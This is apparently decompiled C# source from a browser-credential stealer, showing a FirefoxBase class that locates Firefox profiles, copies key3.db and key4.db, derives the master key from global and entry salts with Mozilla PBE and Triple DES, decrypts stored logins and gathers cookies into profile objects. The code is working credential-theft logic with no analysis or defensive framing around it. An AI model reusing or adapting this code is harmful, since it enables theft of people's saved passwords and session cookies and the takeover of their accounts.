// Token: 0x060000E8 RID: 232 RVA: 0x00007314 File Offset: 0x00005514 private static byte[] ExtractPrivateKey4(string file) { byte[] array = new byte[24]; try { Console.WriteLine("Key source file: " + file); if (!File.Exists(file)) { Console.WriteLine("Source file UNKNOWN"); return(array); } SQLiteManager sqliteManager = new SQLiteManager(file); sqliteManager.ReadTable("metaData"); string value = sqliteManager.GetValue(0, "item1"); string value2 = sqliteManager.GetValue(0, "item2)"); Asn1DerObject asn1DerObject = new Asn1Der().Parse(Encoding.Default.GetBytes(value2)); byte[] data = asn1DerObject.objects[0].objects[0].objects[1].objects[0].Data; byte[] data2 = asn1DerObject.objects[0].objects[1].Data; MozillaPBE mozillaPBE = new MozillaPBE(Encoding.Default.GetBytes(value), Encoding.Default.GetBytes(string.Empty), data); mozillaPBE.Compute(); string input = TripleDESHelper.DESCBCDecryptor(mozillaPBE.Key, mozillaPBE.IV, data2, PaddingMode.None); Console.WriteLine(new string('=', 20)); Console.WriteLine("Global salt found for encrypt: [" + FirefoxBase.CalcHex(value) + "]"); Console.WriteLine("Entry salt found for encrypt: [" + FirefoxBase.CalcHex(data) + "]"); Console.WriteLine("СheckPwd key for encrypt : [" + FirefoxBase.CalcHex(mozillaPBE.Key) + "]"); Console.WriteLine("СheckPwd IV for encrypt: [" + FirefoxBase.CalcHex(mozillaPBE.IV) + "]"); Console.WriteLine("Decrypted chiper: [" + FirefoxBase.CalcHex(input) + "]"); Console.WriteLine(new string('=', 20)); sqliteManager.ReadTable("nssPrivate"); int rowCount = sqliteManager.GetRowCount(); string s = string.Empty; for (int i = 0; i < rowCount; i++) { if (sqliteManager.GetValue(i, "a102") == Encoding.Default.GetString(FirefoxBase.MagicNumber1)) { s = sqliteManager.GetValue(i, "a11"); break; } } Asn1DerObject asn1DerObject2 = new Asn1Der().Parse(Encoding.Default.GetBytes(s)); data = asn1DerObject2.objects[0].objects[0].objects[1].objects[0].Data; data2 = asn1DerObject2.objects[0].objects[1].Data; mozillaPBE = new MozillaPBE(Encoding.Default.GetBytes(value), Encoding.Default.GetBytes(string.Empty), data); mozillaPBE.Compute(); Console.WriteLine(new string('=', 20)); Console.WriteLine("ChiperT found after encrypt: [" + FirefoxBase.CalcHex(data2) + "]"); Console.WriteLine("Global salt found after encrypt: [" + FirefoxBase.CalcHex(value) + "]"); Console.WriteLine("Entry salt found after encrypt: [" + FirefoxBase.CalcHex(data) + "]"); Console.WriteLine("СheckPwd key after encrypt : [" + FirefoxBase.CalcHex(mozillaPBE.Key) + "]"); Console.WriteLine("СheckPwd IV after encrypt: [" + FirefoxBase.CalcHex(mozillaPBE.IV) + "]"); array = Encoding.Default.GetBytes(TripleDESHelper.DESCBCDecryptor(mozillaPBE.Key, mozillaPBE.IV, data2, PaddingMode.PKCS7)); Console.WriteLine("Decrypted private key: [" + FirefoxBase.CalcHex(array) + "]"); Console.WriteLine(new string('=', 20)); } catch (Exception value3) { Console.WriteLine(value3); } return(array); }
// Token: 0x060000E2 RID: 226 RVA: 0x00006D58 File Offset: 0x00004F58 public IEnumerable <BrowserProfile> GetAll() { List <BrowserProfile> list = new List <BrowserProfile>(); try { foreach (string text in FirefoxBase.ExtractProfiles()) { BrowserProfile browserProfile = new BrowserProfile { Name = "Firefox", Profile = new DirectoryInfo(text).Name, BrowserCookies = new List <BrowserCookie>(FirefoxBase.ExtractCookies(text)).IsNull <List <BrowserCookie> >(), BrowserCredendtials = new List <BrowserCredendtial>(FirefoxBase.ExtractCredentials(text).IsNull <IEnumerable <BrowserCredendtial> >()).IsNull <List <BrowserCredendtial> >() }; if (browserProfile.BrowserCookies.Count((BrowserCookie x) => x.IsNotNull <BrowserCookie>()) <= 0) { if (browserProfile.BrowserCredendtials.Count((BrowserCredendtial x) => x.IsNotNull <BrowserCredendtial>()) <= 0) { Console.WriteLine("Profile is empty: " + browserProfile); continue; } } list.Add(browserProfile); } } catch (Exception value) { Console.WriteLine(value); } return(list); }
// Token: 0x060000E3 RID: 227 RVA: 0x00006E88 File Offset: 0x00005088 public static IEnumerable <BrowserCredendtial> ExtractCredentials(string profile) { List <BrowserCredendtial> list = new List <BrowserCredendtial>(); try { if (File.Exists(Path.Combine(profile, "key3.db"))) { list.AddRange(FirefoxBase.ExtractLogins(profile, FirefoxBase.ExtractPrivateKey3(ChromiumManager.CreateTempCopy(Path.Combine(profile, "key3.db"))))); } if (File.Exists(Path.Combine(profile, "key4.db"))) { list.AddRange(FirefoxBase.ExtractLogins(profile, FirefoxBase.ExtractPrivateKey4(ChromiumManager.CreateTempCopy(Path.Combine(profile, "key4.db"))))); } } catch (Exception value) { Console.WriteLine(value); } return(list); }
// Token: 0x060000E9 RID: 233 RVA: 0x000076D8 File Offset: 0x000058D8 private static byte[] ExtractPrivateKey3(string file) { byte[] array = new byte[24]; try { Console.WriteLine("Key source file: " + file); if (!File.Exists(file)) { Console.WriteLine("Source file UNKNOWN"); return(array); } new DataTable(); Asn1Der asn1Der = new Asn1Der(); BerkeleyDB berkeleyDB = new BerkeleyDB(file); PasswordCheck passwordCheck = new PasswordCheck(FirefoxBase.FindValueByKey(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = FirefoxBase.FindValueByKey(berkeleyDB, (string x) => x.Equals("global-salt")); MozillaPBE mozillaPBE = new MozillaPBE(ByteHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ByteHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); mozillaPBE.Compute(); TripleDESHelper.DESCBCDecryptor(mozillaPBE.Key, mozillaPBE.IV, ByteHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); string hexString2 = FirefoxBase.FindValueByKey(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")); Asn1DerObject asn1DerObject = asn1Der.Parse(ByteHelper.ConvertHexStringToByteArray(hexString2)); MozillaPBE mozillaPBE2 = new MozillaPBE(ByteHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1DerObject.objects[0].objects[0].objects[1].objects[0].Data); mozillaPBE2.Compute(); byte[] bytes = Encoding.Default.GetBytes(TripleDESHelper.DESCBCDecryptor(mozillaPBE2.Key, mozillaPBE2.IV, asn1DerObject.objects[0].objects[1].Data, PaddingMode.None)); Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes); Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.objects[0].objects[2].Data); if (asn1DerObject3.objects[0].objects[3].Data.Length > 24) { Array.Copy(asn1DerObject3.objects[0].objects[3].Data, asn1DerObject3.objects[0].objects[3].Data.Length - 24, array, 0, 24); } else { array = asn1DerObject3.objects[0].objects[3].Data; } } catch { } return(array); }
// Token: 0x060000E7 RID: 231 RVA: 0x00002691 File Offset: 0x00000891 private static string CalcHex(string input) { return(FirefoxBase.CalcHex(Encoding.Default.GetBytes(input))); }